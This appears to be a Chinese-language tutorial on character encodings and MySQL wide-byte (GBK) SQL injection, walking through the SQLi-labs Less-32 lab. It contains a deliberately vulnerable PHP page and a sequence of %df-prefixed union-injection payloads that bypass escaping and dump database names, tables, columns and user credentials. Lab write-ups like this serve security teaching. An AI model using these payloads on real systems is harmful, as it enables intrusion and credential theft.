字节概念

  • 单字节(Single-byte):单字节是指每个字符使用一个字节(8位)进行表示的字符编码方式。在单字节编码中,每个字符都占用相同的存储空间,这种编码方式适用于字符集较小的情况。常见的单字节编码包括 ASCII 编码和 ISO-8859 编码系列。
  • 多字节(Multi-byte):多字节是指每个字符使用多个字节进行表示的字符编码方式。在多字节编码中,不同的字符可以占用不同长度的字节,可以表示更多的字符。常见的多字节编码包括UTF-8GB2312编码。
  • 宽字节(Wide character):宽字节是指每个字符使用固定长度的两个字节进行表示的字符编码方式。宽字节编码通常用于Unicode字符集的表示。在宽字节编码中,每个字符都占用相同的存储空间,通常使用16位表示一个字符,可以表示更多的字符。常见的宽字节编码包括UTF-16UCS-2编码。
  • 在中国,常用的宽字节有:GB2312、GBK、GB18030。

注:严格来说,GB18030 不算宽字节,但是兼容 GBK、GB18030。

MySQL 宽字节

  • 在开发网站过程中,一些程序员为了防止 SQL 注入,会使用反斜杠 \ 对一些特殊字符进行转义。
  • 我们在进行 SQL 注入过程中,经常通过闭合单引号或者双引号来判断是否存在注入点并进行接下来的注入操作。而开发人员就对引号进行转义来防止攻击者进行 SQL 注入攻击,通常开发语言中的转义字符都是反斜杠 \
  • 例如 PHPmysqli_real_escape_string/addslashes 函数的作用就是对用户提交的数据进行解析,如有:POST/GET 过来的数据增加转义符 \ 以确保这些数据不会引起程序错误。
1
2
3
4
<?php
$con = new mysqli();
$con->connect('localhost', 'root', 'root', 'security', '3306');
echo mysqli_real_escape_string($con, $_GET[1]);
  • 输入的单引号被转义了,没办法逃逸。但是聪明的攻击者总能想到办法来解决这个问题,因为\的转义后的编码为%5c,可以想象以下汉字有偏旁部首可以拼成一个汉字,那么对于转义字符编码%5c是否也可以找到一个编码跟它凑成一个新的字符呢?
  • 因为在这里 MySQL 的过滤方法主要就是在敏感字符前面添加反斜杠\,所以这里想办法干掉反斜杠即可。
  • MySQL 在使用 GBK/GB18030 编码的时候,会认为两个字符为一个汉字,例如 %df%5c 就是一个汉字。

注:这里之所以没有 GB2312 是因为高位范围不同,吃不掉 %5c,了解即可。

  • 写个代码测试一下:
1
2
3
4
5
6
7
8
9
10
<?php
error_reporting(0);
$con = new mysqli();
$con->connect('localhost', 'root', 'root', 'security', '3306');
$con->query("SET NAMES gbk");
$id = mysqli_real_escape_string($con, $_GET[1]);
$sql = "SELECT * FROM users WHERE id='{$id}' LIMIT 0,1";
echo $sql . "<br>";
$result = $con->query($sql);
echo $result->fetch_assoc()['username'];
  • 既然知道了方法,这里以 SQLi_lab32 为例:
1
2
3
4
5
6
7
8
9
10
?id=1 %df' --+
?id=-1 %df' union select 1,2,database() --+
?id=-1 %df' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

?id=-1 %df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = %df'security %df' --+ # 报错了,怎么办?
?id=-1 %df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 0x7365637572697479 --+ # 16进制编码

?id=-1 %df' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema = 0x7365637572697479 and table_name = 0x7573657273 --+

?id=-1 %df' union select 1,2,group_concat(id,username,password) from users --+